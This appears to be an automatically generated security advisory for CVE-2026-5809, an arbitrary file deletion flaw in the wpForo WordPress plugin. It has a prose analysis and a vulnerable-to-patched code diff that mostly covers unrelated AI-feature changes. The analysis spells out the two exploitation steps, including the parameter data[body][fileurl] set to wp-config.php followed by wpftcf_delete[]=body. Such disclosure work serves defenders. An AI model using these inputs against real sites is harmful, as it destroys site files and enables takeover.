Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-5809: wpForo Forum <= 3.0.2 – Authenticated (Subscriber+) Arbitrary File Deletion via 'data[body][fileurl]' Parameter (wpforo)

CVE ID CVE-2026-5809
Plugin wpforo
Severity High (CVSS 7.1)
CWE 73
Vulnerable Version 3.0.2
Patched Version 3.0.3
Disclosed April 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5809:
This vulnerability is an authenticated arbitrary file deletion flaw in the wpForo Forum WordPress plugin versions up to and including 3.0.2. The vulnerability resides in the plugin’s postmeta handling system, allowing attackers with subscriber-level access or higher to delete arbitrary files on the server, including critical WordPress files like wp-config.php. The CVSS score of 7.1 reflects the high impact potential of this security flaw.

The root cause is a two-step logic flaw in the PostMeta class. First, the topic_add() and topic_edit() action handlers in wpforo/classes/PostMeta.php accept arbitrary user-supplied data arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. The ‘body’ field is included in the allowed topic fields list, enabling attackers to supply data[body][fileurl] with arbitrary file paths. Second, when wpftcf_delete[]=body is submitted on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths, and then calls wp_delete_file() on the unvalidated path. The wpforo_fix_upload_dir() function returns all non-wpforo paths unchanged, allowing absolute server paths to pass through.

Exploitation requires an authenticated attacker with at least subscriber privileges. The attacker first creates or edits a topic, submitting a POST request with data[body][fileurl] parameter containing an absolute server path (e.g., /var/www/html/wp-config.php). This poisoned fileurl is persisted to the plugin’s custom postmeta database table. Subsequently, the attacker submits a topic_edit request with wpftcf_delete[]=body parameter. The add_file() method retrieves the stored fileurl, passes it through wpforo_fix_upload_dir() which returns the unchanged absolute path, and calls wp_delete_file() on that path. The attack vector targets the plugin’s AJAX handlers or form submission endpoints that process topic creation and editing.

The patch adds security checks in three locations within wpforo/classes/PostMeta.php. In the add_topic_meta(), edit_topic_meta(), add_post_meta(), and edit_post_meta() methods, the patch introduces validation that only accepts array values for file-type fields. Specifically, lines 537, 563, 596, and 622 add: ‘if( is_array( $metavalue ) && wpfval( $field, ‘type’ ) !== ‘file’ ) continue;’. This prevents attackers from storing array values in non-file fields like ‘body’. Additionally, the patch adds path validation in the add_file() method (lines 411-417) that checks if the resolved file path is within the wpforo upload directory using realpath() comparison, preventing deletion of files outside the intended directory.

Successful exploitation allows authenticated attackers to delete arbitrary files writable by the PHP process on the server. This includes critical WordPress configuration files (wp-config.php), plugin files, theme files, and any other server files within the PHP process’s write permissions. File deletion can lead to complete site compromise, data loss, denial of service, and potential privilege escalation if system files are affected. The vulnerability requires only subscriber-level access, making it accessible to most registered forum users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/pages/tabs/ai-features-tab-rag-indexing.php
+++ b/wpforo/admin/pages/tabs/ai-features-tab-rag-indexing.php
@@ -105,8 +105,9 @@
 	$has_pending_cron_jobs = $pending_jobs_info['has_pending_jobs'];
 	$pending_topics_count_early = $pending_jobs_info['pending_topics'];

-	// Consider "active" if either storage says indexing OR we have local pending cron jobs
-	$is_processing = $is_indexing || $has_pending_cron_jobs;
+	// Only show the spinner when actually indexing (backend is processing or cron batch is running).
+	// Queued topics waiting for their scheduled time should NOT trigger the spinner.
+	$is_processing = $is_indexing || $pending_jobs_info['is_actively_processing'];

 	// Get storage recommendation
 	$recommendation = $storage_manager->get_storage_recommendation();
@@ -139,7 +140,7 @@
                             <span class="dashicons dashicons-format-chat"></span>
                         </div>
                         <div class="stat-info">
-                            <div class="stat-value" id="rag-total-topics"><?php echo number_format( $total_topics ); ?></div>
+                            <div class="stat-value" id="rag-total-topics"><?php echo number_format( $total_topics ); ?><?php if ( $pending_topics_count_early > 0 ) : ?> <small class="rag-queued-count">| <?php echo number_format( $pending_topics_count_early ); ?> <?php _e( 'queued...', 'wpforo' ); ?></small><?php endif; ?></div>
                             <div class="stat-label"><?php _e( 'Total Threads Indexed', 'wpforo' ); ?></div>
                         </div>
                     </div>
@@ -151,10 +152,8 @@
                         <div class="stat-info">
                             <div class="stat-value <?php echo $is_processing ? 'status-active' : 'status-idle'; ?>" id="rag-indexing-status">
                                 <?php
-                                if ( $is_indexing ) {
+                                if ( $is_processing ) {
                                     _e( 'Indexing...', 'wpforo' );
-                                } elseif ( $has_pending_cron_jobs ) {
-                                    _e( 'Processing...', 'wpforo' );
                                 } else {
                                     _e( 'Idle', 'wpforo' );
                                 }
--- a/wpforo/admin/settings/ai.php
+++ b/wpforo/admin/settings/ai.php
@@ -61,6 +61,7 @@
         <?php
         WPF()->settings->form_field( 'ai', 'search' );
         WPF()->settings->form_field( 'ai', 'search_quality' );
+        WPF()->settings->form_field( 'ai', 'search_min_score' );
         WPF()->settings->form_field( 'ai', 'search_enhance' );
         WPF()->settings->form_field( 'ai', 'search_enhance_quality' );
         WPF()->settings->form_field( 'ai', 'search_language' );
@@ -432,6 +433,7 @@
             WPF()->settings->form_field( 'ai', 'chatbot_use_local_context' );
             WPF()->settings->form_field( 'ai', 'chatbot_allowed_groups' );
             WPF()->settings->form_field( 'ai', 'chatbot_language' );
+            WPF()->settings->form_field( 'ai', 'chatbot_min_score' );
             ?>
         <?php else : ?>
             <div class="wpf-opt-row">
--- a/wpforo/classes/AIChatbot.php
+++ b/wpforo/classes/AIChatbot.php
@@ -432,6 +432,7 @@
 		$use_local = (bool) wpforo_setting( 'ai', 'chatbot_use_local_context' );
 		$context_threshold = (int) wpforo_setting( 'ai', 'chatbot_context_update_threshold' ) ?: self::DEFAULT_CONTEXT_UPDATE_THRESHOLD;
 		$no_content_message = wpforo_setting( 'ai', 'chatbot_no_content_message' ) ?: '';
+		$min_score_setting = (int) wpforo_setting( 'ai', 'chatbot_min_score' );

 		// Get response language
 		$language = WPF()->ai_client->get_user_language( null, 'chatbot_language' );
@@ -449,6 +450,12 @@
 			],
 		];

+		// Add min_score to settings if set (for cloud RAG filtering)
+		// Converted from percentage (30) to decimal (0.3) for API
+		if ( $min_score_setting > 0 ) {
+			$request_data['settings']['min_score'] = $min_score_setting / 100;
+		}
+
 		// Add local context if enabled
 		if ( $use_local && ! empty( $local_context ) ) {
 			$request_data['local_context'] = $local_context;
@@ -474,8 +481,8 @@
 		$this->add_message( $conversation_id, 'user', $message );

 		// Store assistant response
-		$credits_map = [ 'fast' => 1, 'balanced' => 2, 'advanced' => 3 ];
-		$credits = $credits_map[ $quality ] ?? 1;
+		$credits_map = [ 'fast' => 1, 'balanced' => 2, 'advanced' => 3, 'premium' => 4 ];
+		$credits = $credits_map[ $quality ] ?? 2;

 		$this->add_message( $conversation_id, 'assistant', $response['response'], [
 			'tokens_used'     => $response['tokens_used'] ?? 0,
@@ -686,8 +693,16 @@
 	 * @return array|WP_Error Array of RAG results or WP_Error on failure
 	 */
 	private function perform_local_rag_search( $query, $limit = 5 ) {
-		// Perform semantic search using VectorStorageManager
-		$search_results = WPF()->vector_storage->semantic_search( $query, $limit );
+		// Get chatbot-specific min_score setting and apply local mode scaling
+		// Local cosine similarities are on a different scale (5-25%) than cloud scores (30-90%),
+		// so apply 1/3 of the configured threshold for local mode with 15% absolute minimum.
+		$min_score_setting = (int) wpforo_setting( 'ai', 'chatbot_min_score' );
+		$local_threshold   = $min_score_setting > 0 ? ( $min_score_setting / 100 ) / 3 : 0;
+		$absolute_min      = 0.15; // 15% - below this, results are definitely garbage
+		$filters           = [ 'min_score' => max( $local_threshold, $absolute_min ) ];
+
+		// Perform semantic search using VectorStorageManager with chatbot's score threshold
+		$search_results = WPF()->vector_storage->semantic_search( $query, $limit, $filters );

 		if ( is_wp_error( $search_results ) ) {
 			return $search_results;
--- a/wpforo/classes/AIClient.php
+++ b/wpforo/classes/AIClient.php
@@ -2655,6 +2655,47 @@
 	}

 	/**
+	 * Get forum IDs the current user can view (for search filtering)
+	 *
+	 * Uses cached WPF()->current_user_accesses (board-specific).
+	 * Returns null if user can access all forums (no filtering needed).
+	 *
+	 * @return array|null Array of accessible forum IDs, or null for full access
+	 */
+	public function get_accessible_forumids() {
+		// Admins see everything
+		if ( current_user_can( 'administrator' ) ) {
+			return null;
+		}
+
+		// Get all forums for current board (cached by usergroup)
+		$all_forums = WPF()->forum->get_forums( [ 'type' => 'forum' ] );
+		if ( empty( $all_forums ) ) {
+			return null;
+		}
+
+		$accessible   = [];
+		$total_forums = 0;
+
+		foreach ( $all_forums as $forum ) {
+			if ( empty( $forum['is_cat'] ) ) { // Skip categories
+				$total_forums++;
+				// 'vf' = can view forum
+				if ( WPF()->perm->forum_can( 'vf', $forum['forumid'] ) ) {
+					$accessible[] = (int) $forum['forumid'];
+				}
+			}
+		}
+
+		// If user can access all forums, return null (no filtering needed)
+		if ( count( $accessible ) === $total_forums ) {
+			return null;
+		}
+
+		return $accessible;
+	}
+
+	/**
 	 * Perform semantic search query
 	 *
 	 * @param string $query Search query text
@@ -2685,6 +2726,16 @@
 			$filters['board_id'] = $current_boardid;
 		}

+		// Add forum access filtering (only forums current user can view)
+		// Skip if already set by VectorStorageManager (avoids double-add)
+		// Returns null for admins or users with full access (no filtering needed)
+		if ( ! isset( $filters['accessible_forumids'] ) ) {
+			$accessible_forumids = $this->get_accessible_forumids();
+			if ( $accessible_forumids !== null ) {
+				$filters['accessible_forumids'] = $accessible_forumids;
+			}
+		}
+
 		$data = [
 			'tenant_id' => $tenant_id,
 			'query' => sanitize_text_field( $query ),
@@ -3366,9 +3417,29 @@
 		// Get minimum score threshold from settings (default 30%)
 		// Local cosine similarities are on a different scale (5-25%) than cloud scores (30-90%),
 		// so apply 1/3 of the configured threshold for local mode.
+		// Absolute minimum of 15% for local mode prevents garbage results (random vectors
+		// have ~5-15% cosine similarity with any query).
 		$is_local_mode = WPF()->vector_storage && WPF()->vector_storage->is_local_mode();
 		$min_score_setting = (int) wpfval( WPF()->settings->ai, 'search_min_score' );
-		$min_score_percent = $is_local_mode ? max( 0, min( 100, round( $min_score_setting / 3 ) ) ) : max( 0, min( 100, $min_score_setting ) );
+		if ( $is_local_mode ) {
+			$local_threshold   = round( $min_score_setting / 3 );
+			$min_score_percent = max( 15, $local_threshold ); // Absolute minimum 15%
+		} else {
+			$min_score_percent = max( 0, min( 100, $min_score_setting ) );
+		}
+
+		// Relevance label thresholds - different for local vs cloud modes
+		// Local cosine scores: 5-25% range (raw similarity)
+		// Cloud re-ranked scores: 30-90% range (LLM re-ranked)
+		if ( $is_local_mode ) {
+			$threshold_excellent = 25;
+			$threshold_good      = 20;
+			$threshold_relevant  = 15;
+		} else {
+			$threshold_excellent = 80;
+			$threshold_good      = 60;
+			$threshold_relevant  = 40;
+		}

 		// Enrich results with wpForo/WordPress data
 		// Cloud API returns: id, score, title, excerpt, url, content_source, metadata{...}
@@ -3402,11 +3473,11 @@

 				if ( $min_score_percent > 0 && $score_percent < $min_score_percent ) continue;

-				if ( $score_percent >= 80 ) {
+				if ( $score_percent >= $threshold_excellent ) {
 					$relevance_label = wpforo_phrase( 'Excellent match', false );
-				} elseif ( $score_percent >= 60 ) {
+				} elseif ( $score_percent >= $threshold_good ) {
 					$relevance_label = wpforo_phrase( 'Good match', false );
-				} elseif ( $score_percent >= 40 ) {
+				} elseif ( $score_percent >= $threshold_relevant ) {
 					$relevance_label = wpforo_phrase( 'Relevant', false );
 				} else {
 					$relevance_label = wpforo_phrase( 'Possibly relevant', false );
@@ -3467,11 +3538,11 @@
 					continue;
 				}

-				if ( $score_percent >= 80 ) {
+				if ( $score_percent >= $threshold_excellent ) {
 					$relevance_label = wpforo_phrase( 'Excellent match', false );
-				} elseif ( $score_percent >= 60 ) {
+				} elseif ( $score_percent >= $threshold_good ) {
 					$relevance_label = wpforo_phrase( 'Good match', false );
-				} elseif ( $score_percent >= 40 ) {
+				} elseif ( $score_percent >= $threshold_relevant ) {
 					$relevance_label = wpforo_phrase( 'Relevant', false );
 				} else {
 					$relevance_label = wpforo_phrase( 'Possibly relevant', false );
@@ -4953,7 +5024,9 @@
 		$crons = _get_cron_array();
 		$pending_jobs = 0;
 		$pending_topics = 0;
+		$is_actively_processing = false;
 		$board_id = WPF()->board->get_current( 'boardid' ) ?: 0;
+		$now = time();

 		// Check for queue-based processing (self-rescheduling pattern)
 		// Mode-specific keys (current format): wpforo_ai_indexing_queue_{mode}_{board_id}
@@ -4967,19 +5040,35 @@
 			}
 		}

-		// Also check if any queue processor cron is scheduled (mode-specific or legacy)
+		// Check if any queue processor cron is scheduled (mode-specific or legacy)
+		// and whether it's due now (actively processing) or scheduled for the future (just queued)
 		foreach ( [ 'wpforo_ai_process_queue_local', 'wpforo_ai_process_queue_cloud', 'wpforo_ai_process_queue' ] as $cron_hook ) {
-			if ( wp_next_scheduled( $cron_hook, [ $board_id ] ) ) {
+			$next = wp_next_scheduled( $cron_hook, [ $board_id ] );
+			if ( $next ) {
 				$pending_jobs = max( $pending_jobs, 1 );
+				// Cron is due or overdue — batch processing is imminent or in progress
+				if ( $next <= $now ) {
+					$is_actively_processing = true;
+				}
 			}
 		}

+		// Also check if a processing lock is held (batch is running right now)
+		if ( get_transient( 'wpforo_ai_indexing_lock_local_' . $board_id )
+		  || get_transient( 'wpforo_ai_indexing_lock_cloud_' . $board_id )
+		  || get_transient( 'wpforo_ai_indexing_lock_' . $board_id ) ) {
+			$is_actively_processing = true;
+		}
+
 		// Legacy: Search for wpforo_ai_process_batch scheduled events (old pattern)
 		if ( ! empty( $crons ) ) {
 			foreach ( $crons as $timestamp => $cron ) {
 				if ( isset( $cron['wpforo_ai_process_batch'] ) ) {
 					foreach ( $cron['wpforo_ai_process_batch'] as $key => $job ) {
 						$pending_jobs++;
+						if ( $timestamp <= $now ) {
+							$is_actively_processing = true;
+						}
 						// Count topics in this batch
 						$args = isset( $job['args'] ) ? $job['args'] : [];
 						if ( isset( $args[0] ) && is_array( $args[0] ) ) {
@@ -4993,9 +5082,10 @@
 		}

 		return [
-			'has_pending_jobs' => $pending_jobs > 0,
-			'pending_jobs' => $pending_jobs,
-			'pending_topics' => $pending_topics,
+			'has_pending_jobs'       => $pending_jobs > 0,
+			'is_actively_processing' => $is_actively_processing,
+			'pending_jobs'           => $pending_jobs,
+			'pending_topics'         => $pending_topics,
 		];
 	}

@@ -7344,6 +7434,13 @@
 			}
 		}

+		// Add forum access filtering (only show suggestions from forums user can access)
+		// Returns null for admins or users with full access (no filtering needed)
+		$accessible_forumids = $this->get_accessible_forumids();
+		if ( $accessible_forumids !== null ) {
+			$payload['accessible_forumids'] = $accessible_forumids;
+		}
+
 		// Make API request to suggestions endpoint
 		$response = $this->post( '/suggestions/suggest', $payload );

@@ -7502,8 +7599,10 @@
 		}

 		// Convert similarity threshold from percentage to decimal
-		$threshold_decimal = $similarity_threshold / 100;
-		$related_threshold = max( 0.3, $threshold_decimal - 0.2 ); // 20% lower for related topics
+		// Local cosine similarities are on a different scale (5-25%) than cloud scores (30-90%),
+		// so apply 1/3 of the configured threshold for local mode with minimum of 15%
+		$threshold_decimal = max( 0.15, ( $similarity_threshold / 100 ) / 3 );
+		$related_threshold = max( 0.10, $threshold_decimal - 0.05 ); // 5% lower for related topics

 		// Group by topic (take best match per topic)
 		$by_topic = [];
--- a/wpforo/classes/AIContentModeration.php
+++ b/wpforo/classes/AIContentModeration.php
@@ -889,7 +889,8 @@

 			// Add context settings for spam
 			if ( $spam_enabled ) {
-				$request_data['use_forum_context']  = $this->use_spam_context();
+				// Forum context only works in cloud mode (local mode has no S3 Vectors index)
+				$request_data['use_forum_context']  = $this->use_spam_context() && ! WPF()->vector_storage->is_local_mode();
 				$request_data['min_indexed_topics'] = $this->get_setting( 'spam', 'min_indexed', 100 );
 				$request_data['board_id']           = $this->board_id;
 			}
@@ -897,7 +898,8 @@
 			$endpoint = '/moderation/analyze';
 		} else {
 			// Use spam-only endpoint (more efficient)
-			$request_data['use_forum_context']  = $this->use_spam_context();
+			// Forum context only works in cloud mode (local mode has no S3 Vectors index)
+			$request_data['use_forum_context']  = $this->use_spam_context() && ! WPF()->vector_storage->is_local_mode();
 			$request_data['min_indexed_topics'] = $this->get_setting( 'spam', 'min_indexed', 100 );
 			$request_data['board_id']           = $this->board_id;

--- a/wpforo/classes/API.php
+++ b/wpforo/classes/API.php
@@ -186,8 +186,10 @@

 			//Load reCAPTCHA API and Widget for Topic and Post Editor
 			if( in_array( $template, [ 'forum', 'topic', 'post', 'add-topic' ], true ) ) {
-				add_action( 'wp_enqueue_scripts', [ $this, 'rc_enqueue' ] );
-				add_action( 'wpforo_verify_form_end', [ $this, 'rc_verify' ] );
+				if( wpforo_setting( 'recaptcha', 'topic_editor' ) || wpforo_setting( 'recaptcha', 'post_editor' ) ) {
+					add_action( 'wp_enqueue_scripts', [ $this, 'rc_enqueue' ] );
+					add_action( 'wpforo_verify_form_end', [ $this, 'rc_verify' ] );
+				}
 				if( wpforo_setting( 'recaptcha', 'topic_editor' ) ) {
 					add_action( 'wpforo_topic_form_extra_fields_after', [ $this, 'rc_widget' ] );
 				}
--- a/wpforo/classes/PostMeta.php
+++ b/wpforo/classes/PostMeta.php
@@ -408,7 +408,14 @@
 					$fileurl = (string) wpfval( $file, 'fileurl' );
 					$filedir = wpforo_fix_upload_dir( $fileurl );
 					if( $mediaid ) wp_delete_attachment( $mediaid );
-					wp_delete_file( $filedir );
+					// Security: Only delete files within wpforo upload directory
+					if( $filedir ) {
+						$realpath    = realpath( $filedir );
+						$upload_base = realpath( WPF()->folders['wp_upload']['dir'] );
+						if( $realpath && $upload_base && strpos( $realpath, $upload_base . DIRECTORY_SEPARATOR . 'wpforo' ) === 0 ) {
+							wp_delete_file( $filedir );
+						}
+					}
 				}
 				$this->delete( [ 'postid' => $postid, 'metakey' => $metakey ] );
 			}
@@ -527,6 +534,9 @@
 			$fields_list = WPF()->post->get_topic_fields_list( false, $forum, ! WPF()->current_userid );
 			foreach( $topic['postmetas'] as $metakey => $metavalue ) {
 				if( in_array( $metakey, $fields_list ) ) {
+					// Security: Only accept array values for file-type fields to prevent file path injection
+					$field = WPF()->post->get_field( $metakey, 'topic', $forum );
+					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
 					$postmeta = [
 						'postid'        => $topic['first_postid'],
 						'metakey'       => $metakey,
@@ -550,6 +560,9 @@
 			$fields_list = WPF()->post->get_topic_fields_list( false, $forum, ! WPF()->current_userid );
 			foreach( $args['postmetas'] as $metakey => $metavalue ) {
 				if( in_array( $metakey, $fields_list ) ) {
+					// Security: Only accept array values for file-type fields to prevent file path injection
+					$field = WPF()->post->get_field( $metakey, 'topic', $forum );
+					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
 					$postmeta = [
 						'metavalue'     => $metavalue,
 						'forumid'       => $topic['forumid'],
@@ -580,6 +593,9 @@
 			$fields_list = WPF()->post->get_post_fields_list( false, $forum, ! WPF()->current_userid );
 			foreach( $post['postmetas'] as $metakey => $metavalue ) {
 				if( in_array( $metakey, $fields_list ) ) {
+					// Security: Only accept array values for file-type fields to prevent file path injection
+					$field = WPF()->post->get_field( $metakey, 'post', $forum );
+					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
 					$postmeta = [
 						'postid'        => $post['postid'],
 						'metakey'       => $metakey,
@@ -603,6 +619,9 @@
 			$fields_list = WPF()->post->get_post_fields_list( false, $forum, ! WPF()->current_userid );
 			foreach( $args['postmetas'] as $metakey => $metavalue ) {
 				if( in_array( $metakey, $fields_list ) ) {
+					// Security: Only accept array values for file-type fields to prevent file path injection
+					$field = WPF()->post->get_field( $metakey, 'post', $forum );
+					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
 					$postmeta = [
 						'metavalue'     => $metavalue,
 						'forumid'       => $post['forumid'],
--- a/wpforo/classes/Settings.php
+++ b/wpforo/classes/Settings.php
@@ -3364,11 +3364,11 @@
 						"label"                => esc_html__( "Minimum Relevance Score (%)", "wpforo" ),
 						"label_original"       => "Minimum Relevance Score (%)",
 						"description"          => esc_html__(
-							"Results with relevance score below this threshold will be filtered out. Set to 0 to show all results. Recommended: 30%.",
+							"Results below this threshold are filtered out. For local storage, the threshold is automatically scaled (divided by 3) with a minimum of 15% to prevent irrelevant results. Recommended: 30%.",
 							"wpforo"
 						),
-						"description_original" => "Results with relevance score below this threshold will be filtered out. Set to 0 to show all results. Recommended: 30%.",
-						"min"                  => 0,
+						"description_original" => "Results below this threshold are filtered out. For local storage, the threshold is automatically scaled (divided by 3) with a minimum of 15% to prevent irrelevant results. Recommended: 30%.",
+						"min"                  => 30,
 						"max"                  => 100,
 						"docurl"               => "",
 					],
@@ -3628,10 +3628,12 @@
 						"label"                => esc_html__( "Similarity Threshold (%)", "wpforo" ),
 						"label_original"       => "Similarity Threshold (%)",
 						"description"          => esc_html__(
-							"Minimum similarity percentage for topics to be shown as similar. Lower values show more results.",
+							"Minimum similarity percentage for topics to be shown as similar. Lower values show more results. For local storage, the threshold is automatically scaled (divided by 3) with a minimum of 15%. Recommended: 55%.",
 							"wpforo"
 						),
-						"description_original" => "Minimum similarity percentage for topics to be shown as similar. Lower values show more results.",
+						"description_original" => "Minimum similarity percentage for topics to be shown as similar. Lower values show more results. For local storage, the threshold is automatically scaled (divided by 3) with a minimum of 15%. Recommended: 55%.",
+						"min"                  => 30,
+						"max"                  => 100,
 						"docurl"               => "",
 					],
 					"topic_suggestions_language"        => [
@@ -3885,14 +3887,15 @@
 						"label"                => esc_html__( "Chatbot AI Quality", "wpforo" ),
 						"label_original"       => "Chatbot AI Quality",
 						"description"          => esc_html__(
-							"Select the default AI model quality for chatbot responses. Higher quality provides better responses but uses more credits per message. Note: Fast quality is not available for AI Chat as it does not provide adequate response quality for conversational interactions.",
+							"Select the default AI model quality for chatbot responses. Higher quality provides better responses but uses more credits per message.",
 							"wpforo"
 						),
-						"description_original" => "Select the default AI model quality for chatbot responses. Higher quality provides better responses but uses more credits per message. Note: Fast quality is not available for AI Chat as it does not provide adequate response quality for conversational interactions.",
+						"description_original" => "Select the default AI model quality for chatbot responses. Higher quality provides better responses but uses more credits per message.",
 						"variants"             => [
-							[ 'value' => 'balanced', 'label' => esc_html__( 'Balanced (1 credit per message)', 'wpforo' ) ],
-							[ 'value' => 'advanced', 'label' => esc_html__( 'Advanced (2 credits per message)', 'wpforo' ) ],
-							[ 'value' => 'premium', 'label' => esc_html__( 'Premium (3 credits per message)', 'wpforo' ) ],
+							[ 'value' => 'fast', 'label' => esc_html__( 'Fast (1 credit per message)', 'wpforo' ) ],
+							[ 'value' => 'balanced', 'label' => esc_html__( 'Balanced (2 credits per message)', 'wpforo' ) ],
+							[ 'value' => 'advanced', 'label' => esc_html__( 'Advanced (3 credits per message)', 'wpforo' ) ],
+							[ 'value' => 'premium', 'label' => esc_html__( 'Premium (4 credits per message)', 'wpforo' ) ],
 						],
 						"docurl"               => "",
 					],
@@ -3992,6 +3995,19 @@
 						"variants"             => $this->get_variants_ai_languages(),
 						"docurl"               => "",
 					],
+					"chatbot_min_score"                 => [
+						"type"                 => "number",
+						"label"                => esc_html__( "Minimum Relevance Score (%)", "wpforo" ),
+						"label_original"       => "Minimum Relevance Score (%)",
+						"description"          => esc_html__(
+							"Forum content below this relevance threshold is excluded from chatbot context. For local storage, the threshold is automatically scaled (divided by 3) with a minimum of 15%. Recommended: 30%.",
+							"wpforo"
+						),
+						"description_original" => "Forum content below this relevance threshold is excluded from chatbot context. For local storage, the threshold is automatically scaled (divided by 3) with a minimum of 15%. Recommended: 30%.",
+						"min"                  => 15,
+						"max"                  => 100,
+						"docurl"               => "",
+					],
 					// AI Bot Reply
 					"bot_reply"                         => [
 						"type"                 => "radio",
@@ -5492,16 +5508,16 @@
 			'assistant_classic_search'        => false,
 			'assistant_preferences'           => false,
 			'search'                          => true,
-			'search_quality'                  => 'balanced',
+			'search_quality'                  => 'fast',
 			'search_min_score'                => 30,
 			'search_enhance'                  => true,
-			'search_enhance_quality'          => 'advanced',
+			'search_enhance_quality'          => 'balanced',
 			'search_language'                 => '',
 			'search_max_results'              => 5,
 			'translation'                     => true,
-			'translation_quality'             => 'advanced',
+			'translation_quality'             => 'fast',
 			'topic_summary'                   => true,
-			'topic_summary_quality'           => 'advanced',
+			'topic_summary_quality'           => 'balanced',
 			'topic_summary_style'             => 'detailed',
 			'topic_summary_min_replies'       => 1,
 			'topic_summary_language'          => '',
@@ -5518,11 +5534,11 @@
 			'topic_suggestions_language'      => '',
 			// AI Content Moderation defaults
 			'moderation_spam'                   => true,
-			'moderation_spam_quality'           => 'advanced',
+			'moderation_spam_quality'           => 'balanced',
 			'moderation_spam_use_context'       => true,
 			'moderation_spam_min_indexed'       => 100,
 			'moderation_spam_action_detected'   => 'unapprove_ban',
-			'moderation_spam_action_suspected'  => 'unapprove_ban',
+			'moderation_spam_action_suspected'  => 'unapprove',
 			'moderation_spam_action_uncertain'  => 'unapprove',
 			'moderation_spam_action_clean'      => 'none',
 			'moderation_spam_exempt_minposts'   => 10,
@@ -5536,7 +5552,7 @@
 			'moderation_compliance_action'      => 'unapprove',
 			// AI Assistant Chatbot defaults
 			'chatbot'                           => true,
-			'chatbot_quality'                   => 'fast',
+			'chatbot_quality'                   => 'balanced',
 			'chatbot_welcome_message'           => "Hello {user_display_name}!rnI'm your forum assistant. I can help you find information and answer questions related to this forum. What would you like to know?",
 			'chatbot_no_content_message'        => 'I couldn't find information about that topic in the forum. Please try searching directly or create a <a href="{add_topic_url}" target="_blank">new topic</a> to start a discussion.',
 			'chatbot_max_conversations'         => 10,
@@ -5545,6 +5561,7 @@
 			'chatbot_use_local_context'         => false,
 			'chatbot_allowed_groups'            => [1, 2, 3, 5],
 			'chatbot_language'                  => '',
+			'chatbot_min_score'                 => 30,
 			// AI Bot Reply defaults
 			'bot_reply'                         => true,
 			'bot_reply_quality'                 => 'premium',
--- a/wpforo/classes/Template.php
+++ b/wpforo/classes/Template.php
@@ -2293,6 +2293,17 @@
                         return ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
                     }
                 }
+                if( $item['type'] == 1 ) {
+                    $icon['class'] = 'fas fa-thumbtack';
+                    $icon['color'] = 'wpfcl-10';
+                    $icon['title'] = wpforo_phrase( 'Sticky', false );
+                    if( $echo ) {
+                        $status = true;
+                        echo ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
+                    } else {
+                        return ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
+                    }
+                }
                 if( wpforo_topic( $item['topicid'], 'solved' ) ) {
                     $icon['class'] = 'fas fa-check-circle';
                     $icon['color'] = 'wpfcl-8';
@@ -2306,33 +2317,13 @@
                 }
             }

-            if( $item['closed'] && $item['type'] == 1 ) {
-                $icon['class'] = 'fas fa-lock';
-                $icon['color'] = 'wpfcl-1';
-                $icon['title'] = wpforo_phrase( 'Closed', false );
-                if( $echo ) {
-                    $status = true;
-                    echo ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
-                } else {
-                    return ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
-                }
-            } elseif( $item['closed'] && $item['type'] != 1 ) {
+            if( $item['closed'] ) {
                 $icon['class'] = 'fas fa-lock';
                 $icon['color'] = 'wpfcl-1';
                 $icon['title'] = wpforo_phrase( 'Closed', false );
                 if( $echo ) {
                     $status = true;
                     echo ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
-                } else {
-                    return ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
-                }
-            } elseif( ! $item['closed'] && $item['type'] == 1 ) {
-                $icon['class'] = 'fas fa-thumbtack';
-                $icon['color'] = 'wpfcl-10';
-                $icon['title'] = wpforo_phrase( 'Sticky', false );
-                if( $echo ) {
-                    $status = true;
-                    echo ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
                 } else {
                     return ( $data == 'icon' ) ? implode( ' ', $icon ) : $icon['title'];
                 }
--- a/wpforo/classes/VectorStorageManager.php
+++ b/wpforo/classes/VectorStorageManager.php
@@ -246,14 +246,17 @@
 		$local = $this->get_local_storage();
 		$stats = $local->get_stats();

-		// Check for pending WP Cron jobs
-		$pending_jobs = $this->get_pending_cron_jobs();
+		// Only report is_indexing when a batch is actually being processed
+		// (lock transient is held), not when topics are merely queued.
+		$board_id = $this->board_id;
+		$is_actively_indexing = (bool) get_transient( 'wpforo_ai_indexing_lock_local_' . $board_id )
+		                     || (bool) get_transient( 'wpforo_ai_indexing_lock_' . $board_id );

 		return [
 			'total_indexed'     => (int) ( $stats['total_embeddings'] ?? 0 ),
 			'total_topics'      => (int) ( $stats['total_topics'] ?? 0 ),
-			'indexing_progress' => 0, // Local doesn't track progress the same way
-			'is_indexing'       => $pending_jobs['has_pending_jobs'],
+			'indexing_progress' => $this->calculate_local_indexing_progress( $board_id ),
+			'is_indexing'       => $is_actively_indexing,
 			'last_indexed_at'   => $stats['last_indexed_at'] ?? null,
 			'storage_mode'      => self::MODE_LOCAL,
 			'storage_size'      => $stats['storage_size_mb'] ?? '0',
@@ -262,6 +265,39 @@
 	}

 	/**
+	 * Calculate local indexing progress percentage.
+	 *
+	 * Reads the queue and settings options to calculate how many topics
+	 * have been processed out of the total queued for indexing.
+	 *
+	 * @param int $board_id Board ID
+	 * @return int Progress percentage (0-100), or 0 if no indexing in progress
+	 */
+	private function calculate_local_indexing_progress( $board_id ) {
+		$settings_key = 'wpforo_ai_indexing_settings_' . $board_id;
+		$settings = get_option( $settings_key, [] );
+
+		// No settings = no indexing session started
+		$total = (int) ( $settings['total_topics'] ?? 0 );
+		if ( $total <= 0 ) {
+			return 0;
+		}
+
